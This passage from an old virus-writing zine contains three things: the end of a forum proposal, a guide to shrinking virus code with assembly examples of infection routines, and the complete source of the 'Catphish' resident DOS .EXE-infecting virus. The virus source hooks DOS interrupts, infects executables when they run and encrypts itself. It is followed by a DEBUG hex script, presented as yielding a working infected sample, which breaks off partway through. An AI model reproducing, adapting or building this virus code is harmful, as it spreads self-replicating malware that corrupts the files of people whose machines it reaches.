propose an open forum for discussion on a large network such as UseNet or
|
|||
|
FidoNet moderated by either a virus researcher or anti-virus developer.
|
|||
|
This will allow input from many people, some of whom have particular
|
|||
|
specialties within certain groups of viruses.
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 008
|
|||
|
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
CODE OPTIMISATION, A BEGINNER'S GUIDE
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
Written by Dark Angel
|
|||
|
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
When writing a virus, size is a primary concern. A bloated virus carrying
|
|||
|
unnecessary baggage will run slower than its optimised counterpart and eat
|
|||
|
up more disk space.
|
|||
|
|
|||
|
Never optimise any code before it works fully, since altering code after
|
|||
|
optimisation often messes up the optimisation and, in turn, messes up the
|
|||
|
code. After it works, the focus can shift to optimisation. Always keep a
|
|||
|
backup of the last working copy of the virus, as optimisation often leads
|
|||
|
to improperly working code. With this in mind, a few techniques of
|
|||
|
optimisation will be introduced.
|
|||
|
|
|||
|
There are two types of optimisation: structural and local. Structural
|
|||
|
optimisation occurs when shifting the position of code or rethinking and
|
|||
|
reordering the functions of the virus shorten its length. A simple example
|
|||
|
follows:
|
|||
|
|
|||
|
check_install:
|
|||
|
mov ax,1234h
|
|||
|
int 21h
|
|||
|
cmp bx,1234h
|
|||
|
ret
|
|||
|
|
|||
|
install_virus:
|
|||
|
call check_install
|
|||
|
jz exit_install
|
|||
|
|
|||
|
If this is the only instance that the procedure check_install is called,
|
|||
|
the following optimisation may be made:
|
|||
|
|
|||
|
install_virus:
|
|||
|
mov ax,1234h
|
|||
|
int 21h
|
|||
|
cmp bx,1234h
|
|||
|
jz exit_install
|
|||
|
|
|||
|
The first fragment wastes a total of 4 bytes - 3 for the call and 1 for the
|
|||
|
ret. Four bytes may not seem to be worth the effort, but after many such
|
|||
|
optimisations, the code size may be brought down significantly. The
|
|||
|
reverse of this optimisation, using procedures in lieu of repetitive code
|
|||
|
fragments, may work in other instances. Properly designed and well-thought
|
|||
|
out code will allow for such an optimisation. Another structural
|
|||
|
optimisation:
|
|||
|
|
|||
|
get attributes
|
|||
|
open file read/only
|
|||
|
read file
|
|||
|
close file
|
|||
|
exit if already infected
|
|||
|
clear attributes
|
|||
|
open file read/write
|
|||
|
get file time/date
|
|||
|
write new header
|
|||
|
move file pointer to end of file
|
|||
|
concatenate virus
|
|||
|
restore file time/date
|
|||
|
close file
|
|||
|
restore attributes
|
|||
|
exit
|
|||
|
|
|||
|
Change the above to:
|
|||
|
|
|||
|
get attributes
|
|||
|
clear attributes
|
|||
|
open file read/write
|
|||
|
read file
|
|||
|
if infected, exit to close file
|
|||
|
get file time/date
|
|||
|
move file pointer to end of file
|
|||
|
concatenate virus
|
|||
|
move file pointer to beginning
|
|||
|
write new header
|
|||
|
restore file time/date
|
|||
|
close file
|
|||
|
restore attributes
|
|||
|
exit
|
|||
|
|
|||
|
By using the second, an open file and a close file are eliminated while
|
|||
|
adding only one move file pointer request. This can save a healthy number
|
|||
|
of bytes.
|
|||
|
|
|||
|
Local, or peephole, optimisation is often easier to do than structural
|
|||
|
optimisation. It consists of changing individual statements or short
|
|||
|
groups of statements to save bytes.
|
|||
|
|
|||
|
The easiest type of peephole optimisation is a simple replacement of one
|
|||
|
line with a functional equivalent that takes fewer bytes. The 8086
|
|||
|
instruction set abounds with such possibilities. A few examples follow.
|
|||
|
|
|||
|
Perhaps the most widespread optimisation, replace:
|
|||
|
mov ax,0 ; this instruction is 3 bytes long
|
|||
|
mov bp,0 ; mov reg, 0 with any reg = nonsegment register takes 3 bytes
|
|||
|
with
|
|||
|
xor ax,ax ; this takes but 2 bytes
|
|||
|
xor bp,bp ; mov reg, 0 always takes 2 bytes
|
|||
|
or even
|
|||
|
sub ax,ax ; also takes 2 bytes
|
|||
|
sub bp,bp
|
|||
|
|
|||
|
One of the easiest optimisations, yet often overlooked by novices, is the
|
|||
|
merging of lines. As an example, replace:
|
|||
|
mov bh,5h ; two bytes
|
|||
|
mov bl,32h ; two bytes
|
|||
|
; total: four bytes
|
|||
|
with
|
|||
|
mov bx,532h ; three bytes, save one byte
|
|||
|
|
|||
|
A very useful optimisation moving the file handle from ax to bx follows.
|
|||
|
Replace:
|
|||
|
mov bx,ax ; 2 bytes
|
|||
|
with
|
|||
|
xchg ax,bx ; 1 byte
|
|||
|
|
|||
|
Another easy optimisation which can most easily applied to file pointer
|
|||
|
moving operations:
|
|||
|
Replace
|
|||
|
mov ax,4202h ; save one byte from "mov ah,42h / mov al,2"
|
|||
|
xor dx,dx ; saves one byte from "mov dx,0"
|
|||
|
xor cx,cx ; same here
|
|||
|
int 21h
|
|||
|
with
|
|||
|
mov ax,4202h
|
|||
|
cwd ; equivalent to "xor dx,dx" when ax < 8000h
|
|||
|
xor cx,cx
|
|||
|
int 21h
|
|||
|
|
|||
|
Sometimes it may be desirable to use si as the delta offset variable, as an
|
|||
|
instruction involving [si] takes one less byte to encode than its
|
|||
|
equivalent using [bp]. This does NOT work with combinations such as
|
|||
|
[si+1]. Examples:
|
|||
|
|
|||
|
mov ax,[bp] ; 3 bytes
|
|||
|
mov word ptr cs:[bp],1234h ; 6 bytes
|
|||
|
add ax,[bp+1] ; 3 bytes - no byte savings will occur
|
|||
|
|
|||
|
mov ax,[si] ; 2 bytes
|
|||
|
mov word ptr cs:[si],1234h ; 5 bytes
|
|||
|
add ax,[si+1] ; 3 bytes - this is not smaller
|
|||
|
|
|||
|
A somewhat strange and rather specialised optimisation:
|
|||
|
inc al ; 2 bytes
|
|||
|
inc bl ; 2 bytes
|
|||
|
versus
|
|||
|
inc ax ; 1 byte
|
|||
|
inc bx ; 1 byte
|
|||
|
|
|||
|
A structural optimisation can also involve getting rid of redundant code.
|
|||
|
As a virus related example, consider the infection routine. In few
|
|||
|
instances is an error-trapping routine after each interrupt call necessary.
|
|||
|
A single "jc error" is needed, say after the first disk-writing interrupt,
|
|||
|
and if that succeeds, the rest should also work fine. Another possibility
|
|||
|
is to use a critical error handler instead of error checking.
|
|||
|
|
|||
|
How about this example of optimised code:
|
|||
|
mov ax, 4300h ; get file attributes
|
|||
|
mov dx, offset filename
|
|||
|
int 21h
|
|||
|
|
|||
|
push dx ; save filename
|
|||
|
push cx ; and attributes on stack
|
|||
|
|
|||
|
inc ax ; ax = 4301h = set file attributes
|
|||
|
push ax ; save 4301h on stack
|
|||
|
xor cx,cx ; clear attributes
|
|||
|
int 21h
|
|||
|
|
|||
|
...rest of infection...
|
|||
|
|
|||
|
pop ax ; ax = 4301h
|
|||
|
pop cx ; cx = original attributes of file
|
|||
|
pop dx ; dx-> original filename
|
|||
|
int 21h
|
|||
|
|
|||
|
Optimisation is almost always code-specific. Through a combination of
|
|||
|
restructuring and line replacement, a good programmer can drastically
|
|||
|
reduce the size of a virus. By gaining a good feel of the 80x86
|
|||
|
instruction set, many more optimisations may be found. Above all, good
|
|||
|
program design will aid in creating small viruses.
|
|||
|
40Hex Number 9 Volume 2 Issue 5 File 009
|
|||
|
|
|||
|
name CATPHISH
|
|||
|
title
|
|||
|
code segment
|
|||
|
assume cs:code, ds:code, es:code
|
|||
|
org 100h
|
|||
|
|
|||
|
;-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|
|||
|
; FirstStrike presents:
|
|||
|
;
|
|||
|
; The Catphish Virus.
|
|||
|
;
|
|||
|
; The Catphish virus is a resident .EXE infector.
|
|||
|
; Size: 701 bytes (decimal).
|
|||
|
; No activation (bomb).
|
|||
|
; Saves date and file attributes.
|
|||
|
;
|
|||
|
; If assembling, check_if_resident jump must be marked over
|
|||
|
; with nop after first execution (first execution will hang
|
|||
|
; system).
|
|||
|
;
|
|||
|
; *** Source is made available to learn from, not to
|
|||
|
; change author's name and claim credit! ***
|
|||
|
|
|||
|
start:
|
|||
|
call setup ; Find "delta offset".
|
|||
|
setup:
|
|||
|
pop bp
|
|||
|
sub bp, offset setup-100h
|
|||
|
jmp check_if_resident ; See note above about jmp!
|
|||
|
|
|||
|
pre_dec_em:
|
|||
|
mov bx,offset infect_header-100h
|
|||
|
add bx,bp
|
|||
|
mov cx,endcrypt-infect_header
|
|||
|
|
|||
|
ror_em:
|
|||
|
mov dl,byte ptr cs:[bx]
|
|||
|
ror dl,1 ; Decrypt virus code
|
|||
|
mov byte ptr cs:[bx],dl ; by rotating right.
|
|||
|
inc bx
|
|||
|
loop ror_em
|
|||
|
|
|||
|
jmp check_if_resident
|
|||
|
|
|||
|
;--------------------------------- Infect .EXE header -----------------------
|
|||
|
; The .EXE header modifying code below is my reworked version of
|
|||
|
; Dark Angel's code found in his Phalcon/Skism virus guides.
|
|||
|
|
|||
|
|
|||
|
infect_header:
|
|||
|
push bx
|
|||
|
push dx
|
|||
|
push ax
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov bx, word ptr [buffer+8-100h] ; Header size in paragraphs
|
|||
|
; ^---make sure you don't destroy the file handle
|
|||
|
mov cl, 4 ; Multiply by 16. Won't
|
|||
|
shl bx, cl ; work with headers > 4096
|
|||
|
; bytes. Oh well!
|
|||
|
sub ax, bx ; Subtract header size from
|
|||
|
sbb dx, 0 ; file size
|
|||
|
; Now DX:AX is loaded with file size minus header size
|
|||
|
mov cx, 10h ; DX:AX/CX = AX Remainder DX
|
|||
|
div cx
|
|||
|
|
|||
|
|
|||
|
mov word ptr [buffer+14h-100h], dx ; IP Offset
|
|||
|
mov word ptr [buffer+16h-100h], ax ; CS Displacement in module
|
|||
|
|
|||
|
|
|||
|
mov word ptr [buffer+0Eh-100h], ax ; Paragraph disp. SS
|
|||
|
mov word ptr [buffer+10h-100h], 0A000h ; Starting SP
|
|||
|
|
|||
|
pop ax
|
|||
|
pop dx
|
|||
|
|
|||
|
add ax, endcode-start ; add virus size
|
|||
|
cmp ax, endcode-start
|
|||
|
jb fix_fault
|
|||
|
jmp execont
|
|||
|
|
|||
|
|
|||
|
war_cry db 'Cry Havoc, and let slip the Dogs of War!',0
|
|||
|
v_name db '[Catphish]',0 ; Virus name.
|
|||
|
v_author db 'FirstStrike',0 ; Me.
|
|||
|
v_stuff db 'Kraft!',0
|
|||
|
|
|||
|
|
|||
|
fix_fault:
|
|||
|
add dx,1d
|
|||
|
|
|||
|
execont:
|
|||
|
push ax
|
|||
|
mov cl, 9
|
|||
|
shr ax, cl
|
|||
|
ror dx, cl
|
|||
|
stc
|
|||
|
|
|||
|
adc dx, ax
|
|||
|
pop ax
|
|||
|
and ah, 1
|
|||
|
|
|||
|
|
|||
|
mov word ptr [buffer+4-100h], dx ; Fix-up the file size in
|
|||
|
mov word ptr [buffer+2-100h], ax ; the EXE header.
|
|||
|
|
|||
|
pop bx
|
|||
|
retn ; Leave subroutine
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
check_if_resident:
|
|||
|
push es
|
|||
|
xor ax,ax
|
|||
|
mov es,ax
|
|||
|
|
|||
|
cmp word ptr es:[63h*4],0040h ; Check to see if virus
|
|||
|
jnz grab_da_vectors ; is already resident
|
|||
|
jmp exit_normal ; by looking for a 40h
|
|||
|
; signature in the int 63h
|
|||
|
; offset section of
|
|||
|
; interrupt table.
|
|||
|
|
|||
|
grab_da_vectors:
|
|||
|
|
|||
|
mov ax,3521h ; Store original int 21h
|
|||
|
int 21h ; vector pointer.
|
|||
|
mov word ptr cs:[bp+dos_vector-100h],bx
|
|||
|
mov word ptr cs:[bp+dos_vector+2-100h],es
|
|||
|
|
|||
|
|
|||
|
|
|||
|
load_high:
|
|||
|
push ds
|
|||
|
|
|||
|
find_chain: ; Load high routine that
|
|||
|
; uses the DOS internal
|
|||
|
mov ah,52h ; table function to find
|
|||
|
int 21h ; start of MCB and then
|
|||
|
; scales up chain to
|
|||
|
mov ds,es: word ptr [bx-2] ; find top. (The code
|
|||
|
assume ds:nothing ; is long, but it is the
|
|||
|
; only code that would
|
|||
|
xor si,si ; work when an infected
|
|||
|
; .EXE was to be loaded
|
|||
|
Middle_check: ; into memory.
|
|||
|
|
|||
|
cmp byte ptr ds:[0],'M'
|
|||
|
jne Check4last
|
|||
|
|
|||
|
add_one:
|
|||
|
mov ax,ds
|
|||
|
add ax,ds:[3]
|
|||
|
inc ax
|
|||
|
|
|||
|
mov ds,ax
|
|||
|
jmp Middle_check
|
|||
|
|
|||
|
Check4last:
|
|||
|
cmp byte ptr ds:[0],'Z'
|
|||
|
jne Error
|
|||
|
mov byte ptr ds:[0],'M'
|
|||
|
sub word ptr ds:[3],(endcode-start+15h)/16h+1
|
|||
|
jmp add_one
|
|||
|
|
|||
|
error:
|
|||
|
mov byte ptr ds:[0],'Z'
|
|||
|
mov word ptr ds:[1],008h
|
|||
|
mov word ptr ds:[3],(endcode-start+15h)/16h+1
|
|||
|
|
|||
|
push ds
|
|||
|
pop ax
|
|||
|
inc ax
|
|||
|
push ax
|
|||
|
pop es
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
move_virus_loop:
|
|||
|
mov bx,offset start-100h ; Move virus into carved
|
|||
|
add bx,bp ; out location in memory.
|
|||
|
mov cx,endcode-start
|
|||
|
push bp
|
|||
|
mov bp,0000h
|
|||
|
|
|||
|
move_it:
|
|||
|
mov dl, byte ptr cs:[bx]
|
|||
|
mov byte ptr es:[bp],dl
|
|||
|
inc bp
|
|||
|
inc bx
|
|||
|
loop move_it
|
|||
|
pop bp
|
|||
|
|
|||
|
|
|||
|
|
|||
|
hook_vectors:
|
|||
|
|
|||
|
mov ax,2563h ; Hook the int 21h vector
|
|||
|
mov dx,0040h ; which means it will
|
|||
|
int 21h ; point to virus code in
|
|||
|
; memory.
|
|||
|
mov ax,2521h
|
|||
|
mov dx,offset virus_attack-100h
|
|||
|
push es
|
|||
|
pop ds
|
|||
|
int 21h
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
pop ds
|
|||
|
|
|||
|
|
|||
|
|
|||
|
exit_normal: ; Return control to
|
|||
|
pop es ; infected .EXE
|
|||
|
mov ax, es ; (Dark Angle code.)
|
|||
|
add ax, 10h
|
|||
|
add word ptr cs:[bp+OrigCSIP+2-100h], ax
|
|||
|
|
|||
|
cli
|
|||
|
add ax, word ptr cs:[bp+OrigSSSP+2-100h]
|
|||
|
mov ss, ax
|
|||
|
mov sp, word ptr cs:[bp+OrigSSSP-100h]
|
|||
|
sti
|
|||
|
|
|||
|
xor ax,ax
|
|||
|
xor bp,bp
|
|||
|
|
|||
|
endcrypt label byte
|
|||
|
|
|||
|
db 0eah
|
|||
|
OrigCSIP dd 0fff00000h
|
|||
|
OrigSSSP dd ?
|
|||
|
|
|||
|
exe_attrib dw ?
|
|||
|
date_stamp dw ?
|
|||
|
time_stamp dw ?
|
|||
|
|
|||
|
|
|||
|
|
|||
|
dos_vector dd ?
|
|||
|
|
|||
|
buffer db 18h dup(?) ; .EXE header buffer.
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
virus_attack proc far
|
|||
|
assume cs:code,ds:nothing, es:nothing
|
|||
|
|
|||
|
|
|||
|
cmp ax,4b00h ; Infect only on file
|
|||
|
jz run_kill ; executions.
|
|||
|
|
|||
|
leave_virus:
|
|||
|
jmp dword ptr cs:[dos_vector-100h]
|
|||
|
|
|||
|
|
|||
|
|
|||
|
run_kill:
|
|||
|
call infectexe
|
|||
|
jmp leave_virus
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
infectexe: ; Same old working horse
|
|||
|
push ax ; routine that infects
|
|||
|
push bx ; the selected file.
|
|||
|
push cx
|
|||
|
push es
|
|||
|
push dx
|
|||
|
push ds
|
|||
|
|
|||
|
|
|||
|
|
|||
|
mov cx,64d
|
|||
|
mov bx,dx
|
|||
|
|
|||
|
findname:
|
|||
|
cmp byte ptr ds:[bx],'.'
|
|||
|
jz o_k
|
|||
|
inc bx
|
|||
|
loop findname
|
|||
|
|
|||
|
pre_get_out:
|
|||
|
jmp get_out
|
|||
|
|
|||
|
o_k:
|
|||
|
cmp byte ptr ds:[bx+1],'E' ; Searches for victims.
|
|||
|
jnz pre_get_out
|
|||
|
cmp byte ptr ds:[bx+2],'X'
|
|||
|
jnz pre_get_out
|
|||
|
cmp byte ptr ds:[bx+3],'E'
|
|||
|
jnz pre_get_out
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
getexe:
|
|||
|
mov ax,4300h
|
|||
|
call dosit
|
|||
|
|
|||
|
mov word ptr cs:[exe_attrib-100h],cx
|
|||
|
|
|||
|
mov ax,4301h
|
|||
|
xor cx,cx
|
|||
|
call dosit
|
|||
|
|
|||
|
exe_kill:
|
|||
|
mov ax,3d02h
|
|||
|
call dosit
|
|||
|
xchg bx,ax
|
|||
|
|
|||
|
mov ax,5700h
|
|||
|
call dosit
|
|||
|
|
|||
|
mov word ptr cs:[time_stamp-100h],cx
|
|||
|
mov word ptr cs:[date_stamp-100h],dx
|
|||
|
|
|||
|
|
|||
|
|
|||
|
push cs
|
|||
|
pop ds
|
|||
|
|
|||
|
mov ah,3fh
|
|||
|
mov cx,18h
|
|||
|
mov dx,offset buffer-100h
|
|||
|
call dosit
|
|||
|
|
|||
|
cmp word ptr cs:[buffer+12h-100h],1993h ; Looks for virus marker
|
|||
|
jnz infectforsure ; of 1993h in .EXE
|
|||
|
jmp close_it ; header checksum
|
|||
|
; position.
|
|||
|
infectforsure:
|
|||
|
call move_f_ptrfar
|
|||
|
|
|||
|
push ax
|
|||
|
push dx
|
|||
|
|
|||
|
|
|||
|
call store_header
|
|||
|
|
|||
|
pop dx
|
|||
|
pop ax
|
|||
|
|
|||
|
call infect_header
|
|||
|
|
|||
|
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
|
|||
|
|
|||
|
mov bx,offset infect_header-100h
|
|||
|
mov cx,(endcrypt)-(infect_header)
|
|||
|
|
|||
|
rol_em: ; Encryption via
|
|||
|
mov dl,byte ptr cs:[bx] ; rotating left.
|
|||
|
rol dl,1
|
|||
|
mov byte ptr cs:[bx],dl
|
|||
|
inc bx
|
|||
|
loop rol_em
|
|||
|
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,endcode-start
|
|||
|
mov dx,offset start-100h
|
|||
|
call dosit
|
|||
|
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
|
|||
|
|
|||
|
pre_dec_em2:
|
|||
|
mov bx,offset infect_header-100h
|
|||
|
mov cx,endcrypt-infect_header
|
|||
|
|
|||
|
ror_em2:
|
|||
|
mov dl,byte ptr cs:[bx]
|
|||
|
ror dl,1 ; Decrypt virus code
|
|||
|
mov byte ptr cs:[bx],dl ; by rotating right.
|
|||
|
inc bx
|
|||
|
loop ror_em2
|
|||
|
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
|
|||
|
|
|||
|
mov word ptr cs:[buffer+12h-100h],1993h
|
|||
|
|
|||
|
|
|||
|
call move_f_ptrclose
|
|||
|
|
|||
|
mov ah,40h
|
|||
|
mov cx,18h
|
|||
|
mov dx,offset buffer-100h
|
|||
|
call dosit
|
|||
|
|
|||
|
mov ax,5701h
|
|||
|
mov cx,word ptr cs:[time_stamp-100h]
|
|||
|
mov dx,word ptr cs:[date_stamp-100h]
|
|||
|
call dosit
|
|||
|
|
|||
|
close_it:
|
|||
|
|
|||
|
|
|||
|
mov ah,3eh
|
|||
|
call dosit
|
|||
|
|
|||
|
get_out:
|
|||
|
|
|||
|
|
|||
|
pop ds
|
|||
|
pop dx
|
|||
|
|
|||
|
set_attrib:
|
|||
|
mov ax,4301h
|
|||
|
mov cx,word ptr cs:[exe_attrib-100h]
|
|||
|
call dosit
|
|||
|
|
|||
|
|
|||
|
pop es
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
pop ax
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
;---------------------------------- Call to DOS int 21h ---------------------
|
|||
|
|
|||
|
dosit: ; DOS function call code.
|
|||
|
pushf
|
|||
|
call dword ptr cs:[dos_vector-100h]
|
|||
|
retn
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;-------------------------------- Store Header -----------------------------
|
|||
|
|
|||
|
store_header:
|
|||
|
les ax, dword ptr [buffer+14h-100h] ; Save old entry point
|
|||
|
mov word ptr [OrigCSIP-100h], ax
|
|||
|
mov word ptr [OrigCSIP+2-100h], es
|
|||
|
|
|||
|
les ax, dword ptr [buffer+0Eh-100h] ; Save old stack
|
|||
|
mov word ptr [OrigSSSP-100h], es
|
|||
|
mov word ptr [OrigSSSP+2-100h], ax
|
|||
|
|
|||
|
retn
|
|||
|
|
|||
|
;---------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
;---------------------------------- Set file pointer ------------------------
|
|||
|
|
|||
|
move_f_ptrfar: ; Code to move file pointer.
|
|||
|
mov ax,4202h
|
|||
|
jmp short move_f
|
|||
|
|
|||
|
move_f_ptrclose:
|
|||
|
mov ax,4200h
|
|||
|
|
|||
|
move_f:
|
|||
|
xor dx,dx
|
|||
|
xor cx,cx
|
|||
|
call dosit
|
|||
|
retn
|
|||
|
|
|||
|
;----------------------------------------------------------------------------
|
|||
|
|
|||
|
|
|||
|
endcode label byte
|
|||
|
|
|||
|
endp
|
|||
|
|
|||
|
code ends
|
|||
|
end start
|
|||
|
|
|||
|
|
|||
|
|
|||
|
|
|||
|
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
|
|||
|
|
|||
|
Below is a sample file that is already infected.
|
|||
|
Just cut out code and run through debug. Next rename
|
|||
|
DUMMY.FIL to DUMMY.EXE and you have a working copy of
|
|||
|
your very own Catphish virus.
|
|||
|
|
|||
|
N DUMMY.FIL
|
|||
|
E 0100 4D 5A F4 00 04 00 00 00 20 00 00 00 FF FF 23 00
|
|||
|
E 0110 00 A0 93 19 07 00 23 00 3E 00 00 00 01 00 FB 30
|
|||
|
E 0120 6A 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 01F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0310 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0320 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0330 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0340 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0350 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0360 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0370 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0380 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0390 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 03F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
|||
|
E 0500 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0510 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0520 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
|
|||
|
E 0530 90 90 B8 00 4C CD 21 E8 00 00 5D 81 ED 03 00 90
|
|||
|
